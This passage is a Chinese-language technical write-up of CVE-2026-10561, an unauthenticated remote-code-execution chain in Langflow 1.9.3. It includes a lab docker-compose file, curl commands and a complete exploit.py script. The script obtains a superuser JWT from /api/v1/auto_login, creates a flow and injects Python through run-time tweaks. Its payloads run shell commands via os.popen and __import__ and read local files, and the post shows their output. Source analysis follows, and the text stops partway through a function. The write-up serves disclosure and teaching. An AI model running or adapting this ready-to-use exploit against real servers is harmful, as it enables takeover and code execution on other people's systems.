先说复现结果


这篇文章先不从源码讲起,先看复现。原因很直接:CVE-2026-10561 的关键不在于“代码里有几个看上去危险的点”,而在于这条链在 Langflow 1.9.3 上确实能跑通,而且复现现象能和后面的源码分析一一对上。

在当前实验环境里,最小验证链路是这样的:

  1. http://localhost:7860/health 正常返回,说明目标服务可用
  2. GET /api/v1/auto_login 在没有任何凭据的情况下返回 access_token
  3. 利用脚本沿正常 API 路径创建包含 PythonREPLComponent 的 Flow
  4. 调用 /api/v1/run/{flow_id} 时,通过 tweaks 覆盖节点的 python_code
  5. 组件执行阶段成功跑出命令执行、文件读取和 __builtins__ 绕过结果

从复现角度看,我更关心的是下面几类证据能不能同时成立,而不是某一条 payload 有没有“出点结果”:

  • 未授权 token 签发成立
  • python_code 的运行时覆盖成立
  • __import__、open、__builtins__ 这类语言原语可达
  • id、whoami、subprocess、文件读取这类效果发生在目标容器内部

如果这些点能互相印证,那么结论就已经很明确了。这不是“某个 Python 组件也许有点危险”,而是一条未授权 RCE 利用链已经沿真实运行路径闭合。

复现观察

这条链值得单独写出来,不是因为源码里恰好散落着几个危险函数,而是因为这些点在运行时能顺着同一条业务路径接起来。

复现时最有说服力的,不是单条 payload 的输出,而是几种现象同时出现:

  • 未授权 token 签发成立
  • python_code 的运行时覆盖成立
  • __import__、open、__builtins__ 这类语言原语可达
  • 命令执行和文件读取等效果发生在目标容器内部

一旦这些证据放在一起,问题的性质就变了。它不再是“某个 Python 组件可能比较危险”,而是“未授权 RCE 利用链已经在真实业务路径里闭合”。后面的源码分析也不是在猜风险,而是在解释这些现象为什么会发生。

​

关键实操截图

这部分直接放四张关键截图,分别对应环境可用、未授权拿 token、Flow 创建并执行 payload,以及 __builtins__ 绕过成立。比起再重复解释一遍,截图本身更能说明问题。

截图 1:目标服务启动并通过健康检查

这张图对应整条链路的起点。只有 langflow:1.9.3 实例真的起来了,而且 /health 返回正常,后面的 auto_login、Flow 创建和 /run 执行结果才有意义。

截图 2:auto_login 在无凭据情况下直接返回 JWT

这一步是认证边界失守的直接证据。请求里没有用户名、密码或 API key,但接口依然返回了后续 API 可以直接接受的 bearer token。

截图 3:PoC 成功创建 Flow,并跑通命令执行与 __builtins__ 绕过

这张图最关键,因为它把几类现象放到了同一屏里:拿到 JWT、找到 PythonREPLComponent、创建 Flow、执行 id,以及 __import__ 和 open 这类 builtin 可达。单看某一条 payload,还可以解释成“组件本身就允许执行代码”;把这些结果连起来看,未授权 RCE 链路已经很完整了。

截图 4:单独执行 __import__ payload,验证白名单限制可以被 builtin 绕过

这张图是对上一张图里 __import__ bypass 的单点放大。它说明攻击者并不需要依赖组件预置的 global_imports。只要 __builtins__ 没被显式收紧,__import__('os') 就足以把所谓的“模块限制”打穿。

完整复现流程:照着做一遍会发生什么

如果你想自己把这条链跑通,我建议先把环境拉起来,再按接口顺序把链路走一遍,不要一上来就埋头翻源码。这样后面再看 auto_login、tweaks 和 PythonREPLComponent 时,每一段代码都会有很具体的参照物。

我这里用的是仓库里已经验证过的最小实验环境:Docker 启动 langflowai/langflow:1.9.3,再用一个 Python 脚本自动完成拿 JWT、创建 Flow、注入 python_code 和执行验证 payload。下面这些配置和脚本都可以直接拿出来单独使用。

先准备环境

本地至少需要这些东西:

  • Docker
  • Docker Compose
  • curl
  • python3
  • Python requests 包

先确认命令都在:

docker --version
docker compose version
python3 --version
curl --version

如果本机还没有 requests,装一下:

python3 -m pip install requests

第一步:启动一个可复现的 Langflow 1.9.3

先建一个工作目录,例如:

mkdir -p cve-2026-10561-lab
cd cve-2026-10561-lab

把下面这个 docker-compose.yml 保存到当前目录。这里我把关键环境变量直接写在文件里,并加了很短的注释,方便第一次跟着操作的人知道每一项在做什么。

services:
  langflow:
    image: langflowai/langflow:1.9.3
    ports:
      - "7860:7860"  # 把容器内的 Langflow 端口映射到本机 7860
    environment:
      - LANGFLOW_AUTO_LOGIN=true  # 让 /api/v1/auto_login 直接签发 token
      - LANGFLOW_SKIP_AUTH_AUTO_LOGIN=true  # 跳过较新版本里 auto_login 的额外校验
      - LANGFLOW_HOST=0.0.0.0  # 监听所有网卡,方便宿主机访问
      - LANGFLOW_PORT=7860  # 服务端口
      - LANGFLOW_WORKERS=1  # 单 worker,复现实验更稳定
      - LANGFLOW_LOG_LEVEL=debug  # 打开调试日志,失败时更容易定位
    volumes:
      - langflow-data:/app/langflow  # 持久化应用数据,避免容器重启后丢失
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:7860/health"]  # 用健康接口判断服务是否起来
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

volumes:
  langflow-data:

这里最关键的是前两项:

  • LANGFLOW_AUTO_LOGIN=true
  • LANGFLOW_SKIP_AUTH_AUTO_LOGIN=true

前者决定 GET /api/v1/auto_login 会不会直接发 token,后者让这个实验在当前公开镜像里更容易按 CVE 描述复现。漏掉这两个变量,链路大概率会在起点就断掉。

启动容器:

docker compose up -d

然后检查服务状态:

curl -sf http://localhost:7860/health

正常情况下会看到:

{"status":"ok"}

对应截图:

如果这里还没起来,先别继续往下跑,直接看日志:

docker compose logs -f

第二步:手工确认 auto_login 真的会无凭据发 token

先别急着跑 PoC,单独确认第一段链路是否成立:

curl -s http://localhost:7860/api/v1/auto_login | python3 -m json.tool

如果返回类似下面这样的结果,说明“未授权拿 superuser JWT”这一步已经闭合:

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "refresh_token": null,
  "token_type": "bearer"
}

​

对应截图:

这里需要先记住一件事:这不是“帮前端自动登录”那么简单。服务端是真的把后续 API 可接受的 bearer token 直接交了出来。后面的 Flow 创建和 Flow 运行,都是建立在这一步已经拿到高权限身份上下文的前提上。

第三步:准备最小利用脚本

为了让大家可以直接照着文章自己跑,我这里放一个最小可用版 exploit.py。它只做四件事:

  1. 调 /api/v1/auto_login 拿 token
  2. 调 /api/v1/all 找到 PythonREPLComponent 模板
  3. 调 /api/v1/flows/ 创建一个只包含该节点的 Flow
  4. 调 /api/v1/run/{flow_id} 并通过 tweaks 覆盖 python_code

先建一个 requirements.txt:

requests>=2.28.0

然后安装依赖:

python3 -m pip install -r requirements.txt

接着把下面这个脚本保存为 exploit.py。我保留了必要的打印和最核心的验证 payload,并在关键位置加了短注释,方便对照链路理解每一步在做什么。

#!/usr/bin/env python3
import json
import sys

import requests

TARGET = "http://localhost:7860"
API = f"{TARGET}/api/v1"


def fail(msg: str) -> None:
    print(f"[-] {msg}")
    sys.exit(1)


def obtain_token() -> str:
    # 第一步:无凭据请求 auto_login,拿到 bearer token
    resp = requests.get(f"{API}/auto_login", timeout=15)
    if resp.status_code != 200:
        fail(f"auto_login failed: HTTP {resp.status_code} {resp.text[:200]}")
    token = resp.json().get("access_token")
    if not token:
        fail(f"auto_login returned no access_token: {resp.text[:200]}")
    print(f"[+] JWT acquired: {token[:40]}...")
    return token


def auth_headers(token: str) -> dict:
    return {"Authorization": f"Bearer {token}"}


def find_python_repl_template(token: str) -> dict:
    # 第二步:从组件清单里找到 PythonREPLComponent 的完整模板
    resp = requests.get(f"{API}/all", headers=auth_headers(token), timeout=30)
    if resp.status_code != 200:
        fail(f"/all failed: HTTP {resp.status_code} {resp.text[:200]}")
    data = resp.json()
    for category, components in data.items():
        if category == "component_display_names":
            continue
        if isinstance(components, dict) and "PythonREPLComponent" in components:
            print(f"[+] PythonREPLComponent found in category: {category}")
            return components["PythonREPLComponent"]
    fail("PythonREPLComponent not found in /api/v1/all response")


def create_flow(token: str, template: dict) -> str:
    # 第三步:创建一个只有 PythonREPLComponent 的最小 Flow
    template_copy = json.loads(json.dumps(template))
    template_copy["template"]["python_code"]["value"] = "print('flow ready')"

    flow_data = {
        "name": "CVE-2026-10561-PoC",
        "description": "PoC flow for CVE-2026-10561",
        "data": {
            "nodes": [{
                "id": "PythonREPLComponent-poc",
                "type": "genericNode",
                "position": {"x": 100, "y": 100},
                "data": {
                    "id": "PythonREPLComponent-poc",
                    "type": "PythonREPLComponent",
                    "node": template_copy,
                },
            }],
            "edges": [],
        },
    }

    resp = requests.post(
        f"{API}/flows/",
        headers=auth_headers(token),
        json=flow_data,
        timeout=30,
    )
    if resp.status_code not in (200, 201):
        fail(f"flow creation failed: HTTP {resp.status_code} {resp.text[:300]}")
    flow_id = resp.json()["id"]
    print(f"[+] Flow created: {flow_id}")
    return flow_id


def extract_result(resp_json: dict) -> str:
    # /run 返回结构比较深,这里只把 PythonREPL 的结果捞出来
    for outputs_item in resp_json.get("outputs", []):
        for inner in outputs_item.get("outputs", []):
            result = inner.get("results", {}).get("message", {}).get("result")
            if result is not None:
                return str(result)
            raw = inner.get("artifacts", {}).get("results", {}).get("raw", {})
            if isinstance(raw, dict) and "result" in raw:
                return str(raw["result"])
    return ""


def exec_python(token: str, flow_id: str, code: str) -> str:
    # 第四步:通过 tweaks 覆盖 python_code,让目标节点执行攻击者代码
    payload = {
        "input_value": "",
        "input_type": "text",
        "output_type": "debug",
        "tweaks": {
            "PythonREPLComponent-poc": {
                "python_code": code
            }
        },
    }
    resp = requests.post(
        f"{API}/run/{flow_id}",
        headers=auth_headers(token),
        json=payload,
        timeout=60,
    )
    if resp.status_code != 200:
        fail(f"/run failed: HTTP {resp.status_code} {resp.text[:300]}")
    return extract_result(resp.json())


def main() -> None:
    token = obtain_token()
    template = find_python_repl_template(token)
    flow_id = create_flow(token, template)

    tests = [
        # 直接导入 os 执行命令,验证 RCE
        ("RCE via os.popen", "import os\nprint(os.popen('id').read().strip())"),
        # 不显式 import os,而是用 builtin __import__ 再导入,验证白名单绕过
        ("__import__ builtin bypass", "print(__import__('os').popen('id').read().strip())"),
        # 直接读取本地文件,验证 open builtin 可用
        ("open builtin file read", "print(open('/etc/hostname').read().strip())"),
        # 观察 __builtins__ 在运行时到底是什么
        ("__builtins__ type", "print(type(__builtins__).__name__)"),
        # 验证执行上下文确实在容器里
        ("current working dir", "import os\nprint(os.getcwd())"),
    ]

    passed = 0
    for label, code in tests:
        output = exec_python(token, flow_id, code)
        if output:
            passed += 1
            print(f"[+] {label}: {output}")
        else:
            print(f"[-] {label}: no output")

    print(f"[+] {passed}/{len(tests)} checks returned output")
    if passed < len(tests):
        sys.exit(1)


if __name__ == "__main__":
    main()

给脚本加执行权限,然后跑起来:

chmod +x exploit.py
python3 exploit.py

第四步:理解你应该看到的结果

如果一切正常,输出大致会长这样:

[+] JWT acquired: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] PythonREPLComponent found in category: utilities
[+] Flow created: 3f5e5c6d-xxxx-xxxx-xxxx-xxxxxxxxxxxx
[+] RCE via os.popen: uid=1000(user) gid=0(root) groups=0(root)
[+] __import__ builtin bypass: uid=1000(user) gid=0(root) groups=0(root)
[+] open builtin file read: a8a576e11fa8
[+] __builtins__ type: dict
[+] current working dir: /app
[+] 5/5 checks returned output

​

如果直接跑仓库里的 lab/exploit.py --verbose,输出会比上面的最小示例更完整,对应截图如下:


这里每一行都对应一段很具体的结论:

  • JWT acquired 说明未授权 token 签发成立
  • Flow created 说明攻击者确实能沿正常 API 路径创建执行型节点
  • RCE via os.popen 说明命令执行已经发生
  • __import__ builtin bypass 说明攻击者不需要依赖所谓的 global_imports 白名单
  • open builtin file read 说明本地文件读取能力存在
  • __builtins__ type: dict 说明运行时里确实有可用的 builtins 命名空间
  • current working dir: /app 说明代码是在目标容器内部跑的,不是本地假象

只要这些现象能同时成立,这条漏洞链就已经不是“理论上可能危险”,而是可以沿实际业务路径稳定闭合的未授权 RCE。

第五步:如果你想手工打 API,也可以按这个顺序走

虽然上面的脚本已经够用了,但为了让后面源码分析更容易对照,我还是建议至少手工看一次关键请求。

先拿 token:

curl -s http://localhost:7860/api/v1/auto_login

把返回值里的 access_token 保存到环境变量:

export TOKEN='这里替换成上一步拿到的 JWT'

然后可以手工确认组件模板里确实有 PythonREPLComponent:

curl -s \
  -H "Authorization: Bearer $TOKEN" \
  http://localhost:7860/api/v1/all

再往后如果你愿意,完全可以把脚本里的 POST /api/v1/flows/ 和 POST /api/v1/run/{flow_id} 两个 JSON 请求体拆出来手工发。只是从复现实用性看,直接跑脚本更省事,也不容易在复制长 JSON 时把节点结构抄错。

第六步:排错时优先看这几个地方

这个实验最常见的失败点基本就三个:

  • /health 不通:说明容器还没完全起来,或者 7860 端口映射有问题
  • /auto_login 不返回 token:优先检查 LANGFLOW_AUTO_LOGIN=true 和 LANGFLOW_SKIP_AUTH_AUTO_LOGIN=true
  • Flow 能创建但 /run 没输出:优先检查 PythonREPLComponent 是否真的被找到,以及 tweaks 里的节点 ID 是否和创建 Flow 时保持一致

如果想看更细的后端行为,直接盯容器日志最有效:

docker compose logs -f

把这套复现跑通之后,再回头看源码会清楚很多。这不是某一条 payload 偶然撞出来的效果,而是 auto_login、图配置改写和 PythonREPL 执行环境三段逻辑本来就能拼成一条利用链。

再看整条攻击链

在进入代码细节之前,先把攻击路径压缩成一张图更直观:

这条链有个很鲜明的特点:每一段逻辑单独看都像“某种功能设计”,但按运行时顺序拼起来以后,就变成了一个天然闭合的利用面。

所以这里不是几个彼此孤立的小缺陷,而是身份边界、参数改写能力和执行环境假设同时失守的结构性问题。

第一部分:auto_login 如何把认证边界变成一扇开门

auto_login 不是“辅助登录”,而是“直接发 token”

先看 src/backend/base/langflow/api/v1/login.py 中的 auto_login 路径。这里直接贴完整函数上下文更合适,因为风险判断不只取决于 return tokens,还取决于它怎么设置 cookie、怎么拿到 user,以及最终返回的认证材料是什么:

@router.get("/auto_login", include_in_schema=False)
async def auto_login(response: Response, db: DbSession):
    auth_settings = get_settings_service().auth_settings

    if auth_settings.AUTO_LOGIN:
        auth = get_auth_service()
        user_id, tokens = await auth.create_user_longterm_token(db)
        response.set_cookie(
            "access_token_lf",
            tokens["access_token"],
            httponly=auth_settings.ACCESS_HTTPONLY,
            samesite=auth_settings.ACCESS_SAME_SITE,
            secure=auth_settings.ACCESS_SECURE,
            expires=None,
            domain=auth_settings.COOKIE_DOMAIN,
        )

        user = await get_user_by_id(db, user_id)

        if user:
            if user.store_api_key is None:
                user.store_api_key = ""

            response.set_cookie(
                "apikey_tkn_lflw",
                str(user.store_api_key),
                httponly=auth_settings.ACCESS_HTTPONLY,
                samesite=auth_settings.ACCESS_SAME_SITE,
                secure=auth_settings.ACCESS_SECURE,
                expires=None,
                domain=auth_settings.COOKIE_DOMAIN,
            )

            if get_settings_service().settings.agentic_experience:
                from langflow.api.utils.mcp.agentic_mcp import initialize_agentic_user_variables

                await initialize_agentic_user_variables(user.id, db)

        return tokens

    raise HTTPException(
        status_code=status.HTTP_403_FORBIDDEN,
        detail={
            "message": "Auto login is disabled.",
            "auto_login": False,
        },
    )

这段代码里有几个点必须单独拎出来看。

第一,它是一个 GET 接口,不是一个需要提交用户名密码的标准登录流程。

第二,当 AUTO_LOGIN=True 时,它不要求任何交互式认证材料。没有用户名,没有密码,没有验证码,也没有其他前置校验。它只是检查一个布尔开关,然后直接进入 token 签发逻辑。

第三,它返回的不是“临时会话状态”或者“仅用于引导 UI 的本地标记”,而是后面还能继续访问后端接口的认证材料。

从代码行为上说,这个接口的真实语义不是“帮助用户自动登录”,而更接近于:

只要环境打开了自动登录开关,任何能访问这个接口的人都可以要求系统生成一份可用 token。

这是整条漏洞链的第一块地基。后面所有需要认证的利用动作,都建立在这一步已经把攻击者送进“合法认证上下文”之上。

为什么它签发的是最危险的那类 token

继续向下看 create_user_longterm_token()。这里同样值得把完整函数放进来,因为漏洞判断依赖的不只是“会创建 token”,还依赖前置开关、superuser 回退策略和有效期:

async def create_user_longterm_token(self, db: AsyncSession) -> tuple[UUID, dict]:
    settings_service = self.settings
    if not settings_service.auth_settings.AUTO_LOGIN:
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail="Auto login required to create a long-term token",
        )

    username = settings_service.auth_settings.SUPERUSER
    super_user = await get_user_by_username(db, username)
    if not super_user:
        from langflow.services.database.models.user.crud import get_all_superusers

        superusers = await get_all_superusers(db)
        super_user = superusers[0] if superusers else None

    if not super_user:
        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail="Super user hasn't been created")
    access_token_expires_longterm = timedelta(days=365)
    access_token = self.create_token(
        data={"sub": str(super_user.id), "type": "access"},
        expires_delta=access_token_expires_longterm,
    )
    await update_user_last_login_at(super_user.id, db)

    return super_user.id, {
        "access_token": access_token,
        "refresh_token": None,
        "token_type": "bearer",
    }

这段逻辑基本决定了 auto_login 的危害级别。

如果一个系统在“自动登录”模式下只是给出一个低权限、短时效、仅本地使用的 token,风险虽然也在,但性质还不一样。这里的问题恰恰在于,它给出的就是后续利用最需要的东西:

  • 目标身份是 superuser
  • token 类型是 access token
  • 时效是 365 天

换句话说,这不是一个“为了初始化页面方便而临时放行”的设计,而是一条直接把高权限访问能力交给调用方的路径。

再看一眼 super_user 的获取逻辑,还能看到一个很容易被忽略、但对利用稳定性很有帮助的点:

super_user = await get_user_by_username(db, username)
if not super_user:
    superusers = await get_all_superusers(db)
    super_user = superusers[0] if superusers else None

这意味着系统不是“只有某个特定管理员存在时才工作”,而是带了一个回退策略:配置指定的 superuser 没找到,就去找任意已有 superuser。

从防御角度看,这像是在做容错;从利用角度看,它让 token 签发链路更不容易因为环境差异直接失败,也就提高了这条攻击链在不同部署状态下的可落地性。

这里真正失守的是“身份边界”,不是“登录页面”

如果把这个问题简单理解成“绕过登录页面”,其实会低估它的影响。

登录页面只是一个交互界面,身份边界才是后端真正的安全边界。对攻击者来说,关键从来不是“能不能看到某个页面”,而是“能不能拿到后端认可的访问上下文”。

auto_login 一旦返回的是可被后端认证体系接受的 superuser JWT,那么从这一刻开始,攻击者对后续接口的调用,在系统视角里就不再像“未授权探测”,而更像“一个已经通过认证的高权限调用者正在正常使用 API”。

这会直接改写后续利用的难度模型:

  • 如果没有这一步,攻击者还需要继续找认证绕过或权限提升
  • 有了这一步,攻击者可以直接进入 Flow 操作、Flow 运行和组件触发这些核心业务路径

所以,auto_login 的价值不只是“少了一步登录”,而是它一次性解决了整条利用链最麻烦的权限上下文问题。

为什么说这是“链式漏洞”的第一段,而不是独立问题

如果 auto_login 只是单独存在,而系统内部不存在任何危险执行面,它带来的结果可能是管理界面暴露、数据泄露或权限滥用。但在 Langflow 这类系统里,拿到 superuser 身份的含义远不止传统后台那一套。

原因很简单:它的后端不仅管理普通资源,还管理 Flow 图、节点配置和执行型组件,而这些组件里本来就包含直接解释或执行代码的能力。

所以,auto_login 的危险性不能脱离后续业务路径来评估。只要后面存在一条能把外部输入送到执行点的路径,这一步就会自然变成完整 RCE 链的上游入口。

第二部分:真正的执行点在哪里

PythonREPLComponent 的危险不在于“能执行 Python”

目标执行组件是 src/lfx/src/lfx/components/utilities/python_repl_core.py 中的 PythonREPLComponent。如果把结论直接写成“因为组件能执行 Python,所以导致 RCE”,其实不够准确。

组件本来就是 Python Interpreter,能执行 Python 不是 bug,而是它存在的意义。真正的问题只会在一个前提成立时出现:

它宣称自己对执行环境做了某种限制,但这种限制在 Python 的真实执行语义下并没有站住。

所以,单看 python_repl.run(...) 这一行是不够的。真正要看的,是执行这行代码时它到底拿到了什么样的 globals 环境。

先看它自认为做了什么限制

PythonREPLComponent 的一个核心输入叫 global_imports。从命名和界面提示就能看出,它的设计意图是让调用者显式声明“允许在这段代码里全局可用的模块”。

组件构造 globals 的逻辑如下。这里直接保留完整函数更有价值,因为问题既涉及导入路径,也涉及异常处理和最终返回的 globals 形状:

def get_globals(self, global_imports: str | list[str]) -> dict:
    """Create a globals dictionary with only the specified allowed imports."""
    global_dict = {}

    try:
        if isinstance(global_imports, str):
            modules = [module.strip() for module in global_imports.split(",")]
        elif isinstance(global_imports, list):
            modules = global_imports
        else:
            msg = "global_imports must be either a string or a list"
            raise TypeError(msg)

        for module in modules:
            try:
                imported_module = importlib.import_module(module)
                global_dict[imported_module.__name__] = imported_module
            except ImportError as e:
                msg = f"Could not import module {module}: {e!s}"
                raise ImportError(msg) from e
    except Exception as e:
        self.log(f"Error in global imports: {e!s}")
        raise
    else:
        self.log(f"Successfully imported modules: {list(global_dict.keys())}")
        return global_dict

这段代码的设计意图其实很清楚:

  • 把用户声明的模块列表解析出来
  • 逐个导入
  • 把导入后的模块对象塞进 global_dict
  • 后续执行代码时,把这份 global_dict 当作全局环境传进去

如果只从功能设计层面理解,这看起来像是在做“模块白名单控制”。开发者显然想表达这样一层意思:

  • 你不能随便用任何模块
  • 你只能用 global_imports 中列出的这些
  • 如果这些模块之外的名字不存在,你的代码就会失败

这也是很多自定义 REPL、脚本节点或低代码平台里常见的一类错误假设:把“我只往 globals 里放了几个对象”误当成“我已经控制了执行环境”。

globals 字典不等于“沙箱”

理解这个漏洞的关键,是先把一件事说清楚:给 exec() 或其包装层传入一个自定义 globals 字典,不等于天然建立了安全边界。

在 Python 的执行模型里,globals 只是名字解析的一部分,不是完整的权限模型。哪怕调用者手工构造了一份看起来很“干净”的 globals,只要没有把内建能力一起收紧,执行代码时依然会拥有大量语言级原语。

PythonREPLComponent 这里踩中的,正是这个设计陷阱。

真正的关键缺陷:没有显式处理 __builtins__

再看执行逻辑。这里也应该直接贴完整的 run_python_repl(),因为它就是最终 sink,而且异常分支本身没有增加任何权限收敛:

def run_python_repl(self) -> Data:
    try:
        globals_ = self.get_globals(self.global_imports)
        python_repl = PythonREPL(_globals=globals_)
        result = python_repl.run(self.python_code)
        result = result.strip() if result else ""

        self.log("Code execution completed successfully")
        return Data(data={"result": result})

    except ImportError as e:
        error_message = f"Import Error: {e!s}"
        self.log(error_message)
        return Data(data={"error": error_message})

    except SyntaxError as e:
        error_message = f"Syntax Error: {e!s}"
        self.log(error_message)
        return Data(data={"error": error_message})

    except (NameError, TypeError, ValueError) as e:
        error_message = f"Error during execution: {e!s}"
        self.log(error_message)
        return Data(data={"error": error_message})

这段逻辑里,最重要的其实不是 self.python_code,而是 globals_ 里到底有什么。

get_globals() 返回的是一个只包含显式导入模块的字典,例如:

{
    "math": <module 'math' ...>,
    "pandas": <module 'pandas' ...>,
}

但它没有显式设置:

"__builtins__": ...

这在 Python 里不是个无关紧要的小疏忽,而是会直接改变执行环境性质的关键点。

在 CPython 中,当代码通过 exec(code, globals_dict) 这类形式执行时,如果传入的 globals 字典里没有 __builtins__,解释器会自动把完整的 builtins 命名空间补进去。

这一点的含义很重:

  • 组件作者以为自己只开放了若干模块
  • 解释器却自动补全了语言层最核心的内建入口
  • 最终攻击者拿到的不是“模块白名单环境”,而是“白名单模块 + 完整 builtins”的环境

一旦完整 builtins 仍然存在,攻击者就不需要依赖 global_imports 里是否包含危险模块,因为它仍然能从内建能力重新拿到很多关键原语。

为什么 __import__ 一存在,模块白名单就基本宣告失败

理解这个问题最直接的方法,不是记住“__builtins__ 很危险”,而是看它具体带来了什么。

如果 builtins 完整存在,攻击者至少可以直接拿到这些能力:

  • __import__:重新导入任意标准库或第三方模块
  • open:读取或写入本地文件
  • eval / exec:继续解释动态生成的 Python 代码
  • globals / locals / vars / dir:辅助环境探测和对象遍历
  • type / object:进一步配合反射式利用

这里最致命的是 __import__。因为一旦攻击者可以这样写:

__import__("os").system("id")

前面通过 global_imports="math,pandas" 营造出来的“只能使用指定模块”的安全感就瞬间归零了。

这说明组件的限制模型存在根本性错误:

  • 它试图限制“可导入的模块”
  • 但没有限制“谁还有能力再次导入模块”

这两个问题不在一个层级。前者是表层对象暴露,后者是语言原语暴露。只要后者还在,前者几乎没有安全意义。

为什么这不是普通的“危险函数使用不当”

这里还需要区分两类问题。

第一类问题是“系统明确提供了任意 Python 执行能力,只是用户后来拿它做了危险事情”。这种场景下,风险更多来自功能本身。

第二类问题是“系统对外宣称自己做了某种限制或隔离,但这个限制在语言语义上站不住脚”。这类问题的本质是错误的安全边界抽象。

CVE-2026-10561 显然属于第二类。

换句话说,漏洞的深层原因不是“作者不该写 REPL”,而是“作者把只导入指定模块误当成了执行限制已经成立”。这是一个很典型的设计误判:

  • 它没有正确建模 Python 执行时对 builtins 的依赖
  • 它把名字空间裁剪误认为能力裁剪
  • 它忽略了语言运行时会自动补齐关键对象这一事实

从这个角度看,PythonREPLComponent 的问题不是实现细节上的小瑕疵,而是安全模型本身就定义错了。

第三部分:攻击者的输入是如何走到执行点的

知道执行点在哪里,还不够。真正的利用分析还得继续回答一个更重要的问题:

攻击者控制的内容,到底是怎么在运行时进入 python_repl.run(self.python_code) 的?

如果这个问题答不清,就只能停留在“某个组件理论上危险”。要把它升级成一条完整利用链,必须把“输入传播路径”讲透。

/run 接口并不是简单触发执行,它还允许运行前改图

Langflow 的一个关键能力,是可以在运行 Flow 时传入 tweaks。这意味着接口调用者不仅是在说“运行这条 Flow”,还在说“运行前,把某些节点参数改成我这次指定的值”。

这点很重要,因为它改变了输入的位置。

如果用户输入只是普通文本输入,最多进入某个节点的数据通道;但如果输入能以 tweaks 的形式进入图配置改写阶段,它影响的就不再是普通数据,而是组件行为本身。

从攻击视角看,这两者的价值完全不同:

  • 普通数据输入影响的是组件处理的数据
  • 配置改写影响的是组件如何执行

而 PythonREPLComponent 的 python_code 正是后者。

simple_run_flow() 的顺序决定了 tweaks 不只是“附加参数”

看核心执行路径。这里把 validate_input_and_tweaks() 和 simple_run_flow() 一起贴出来更准确,因为前者的校验范围本身就是分析结论的一部分:

def validate_input_and_tweaks(input_request: SimplifiedAPIRequest) -> None:
    if not input_request.tweaks:
        return

    for key, value in input_request.tweaks.items():
        if not isinstance(value, dict):
            continue

        input_value = value.get("input_value")
        if input_value is None:
            continue

        request_has_input = input_request.input_value is not None

        if any(chat_key in key for chat_key in ("ChatInput", "Chat Input")):
            if request_has_input and input_request.input_type == "chat":
                msg = "If you pass an input_value to the chat input, you cannot pass a tweak with the same name."
                raise InvalidChatInputError(msg)

        elif (
            any(text_key in key for text_key in ("TextInput", "Text Input"))
            and request_has_input
            and input_request.input_type == "text"
        ):
            msg = "If you pass an input_value to the text input, you cannot pass a tweak with the same name."
            raise InvalidChatInputError(msg)


async def simple_run_flow(
    flow: Flow,
    input_request: SimplifiedAPIRequest,
    *,
    stream: bool = False,
    api_key_user: User | None = None,
    event_manager: EventManager | None = None,
    context: dict | None = None,
    run_id: str | None = None,
):
    validate_input_and_tweaks(input_request)
    try:
        task_result: list[RunOutputs] = []
        user_id = api_key_user.id if api_key_user else None
        flow_id_str = str(flow.id)
        if flow.data is None:
            msg = f"Flow {flow_id_str} has no data"
            raise ValueError(msg)
        graph_data = flow.data.copy()
        graph_data = process_tweaks(graph_data, input_request.tweaks or {}, stream=stream)
        graph = Graph.from_payload(
            graph_data, flow_id=flow_id_str, user_id=str(user_id), flow_name=flow.name, context=context
        )
        if run_id is None:
            run_id = str(uuid4())
        graph.set_run_id(run_id)
        inputs = None
        if input_request.input_value is not None:
            inputs = [
                InputValueRequest(
                    components=[],
                    input_value=input_request.input_value,
                    type=input_request.input_type,
                )
            ]
        if input_request.output_component:
            outputs = [input_request.output_component]
        else:
            outputs = [
                vertex.id
                for vertex in graph.vertices
                if input_request.output_type == "debug"
                or (
                    vertex.is_output
                    and (input_request.output_type == "any" or input_request.output_type in vertex.id.lower())
                )
            ]
        task_result, session_id = await run_graph_internal(
            graph=graph,
            flow_id=flow_id_str,
            session_id=input_request.session_id,
            inputs=inputs,
            outputs=outputs,
            stream=stream,
            event_manager=event_manager,
        )

        return RunResponse(outputs=task_result, session_id=session_id)

    except sa.exc.StatementError as exc:
        raise ValueError(str(exc)) from exc

这段逻辑虽然不长,但执行语义非常关键。

第一步,系统先取出 Flow 的原始图数据 flow.data。

第二步,在图被构造成运行时对象之前,调用 process_tweaks() 改这份图数据。

第三步,改完后的图数据才进入 Graph.from_payload(...),被实例化为真正参与后续调度、连线和节点执行的运行时图对象。

这意味着 tweaks 并不是什么“执行开始之后附带的补充参数”,而是在“图对象尚未构建完成之前”直接改写了图的源数据。

这个顺序非常重要,因为它解释了为什么 tweaks 对攻击者这么有价值。它不是在给现有组件塞一个普通输入值,而是在图构造阶段重写组件配置模板。

从数据结构角度看,攻击者改写的其实是节点模板

Langflow 的图数据不是简单的“一个组件 ID + 一个字符串参数”,而是带有模板、字段类型和值的结构化节点数据。process_tweaks() 和 apply_tweaks() 本质上是在修改这份结构化节点定义中的字段值。相关函数完整上下文如下:

def apply_tweaks(node: dict[str, Any], node_tweaks: dict[str, Any]) -> None:
    template_data = node.get("data", {}).get("node", {}).get("template")

    if not isinstance(template_data, dict):
        logger.warning(f"Template data for node {node.get('id')} should be a dictionary")
        return

    for tweak_name, tweak_value in node_tweaks.items():
        if tweak_name not in template_data:
            continue
        if tweak_name == "code":
            logger.warning("Security: Code field cannot be overridden via tweaks.")
            continue
        if tweak_name in template_data:
            field_type = template_data[tweak_name].get("type", "")
            if field_type == "NestedDict":
                value = validate_and_repair_json(tweak_value)
                template_data[tweak_name]["value"] = value
            elif field_type == "mcp":
                template_data[tweak_name]["value"] = tweak_value
            elif field_type == "dict" and isinstance(tweak_value, dict):
                if len(tweak_value) == 1 and "value" in tweak_value:
                    template_data[tweak_name]["value"] = tweak_value["value"]
                else:
                    template_data[tweak_name]["value"] = tweak_value
            elif isinstance(tweak_value, dict):
                for k, v in tweak_value.items():
                    k_ = "file_path" if field_type == "file" else k
                    template_data[tweak_name][k_] = v
                if "load_from_db" not in tweak_value and "load_from_db" in template_data[tweak_name]:
                    template_data[tweak_name]["load_from_db"] = False
            else:
                key = "file_path" if field_type == "file" else "value"
                template_data[tweak_name][key] = tweak_value
                if "load_from_db" in template_data[tweak_name]:
                    template_data[tweak_name]["load_from_db"] = False


def process_tweaks(
    graph_data: dict[str, Any], tweaks: Tweaks | dict[str, dict[str, Any]], *, stream: bool = False
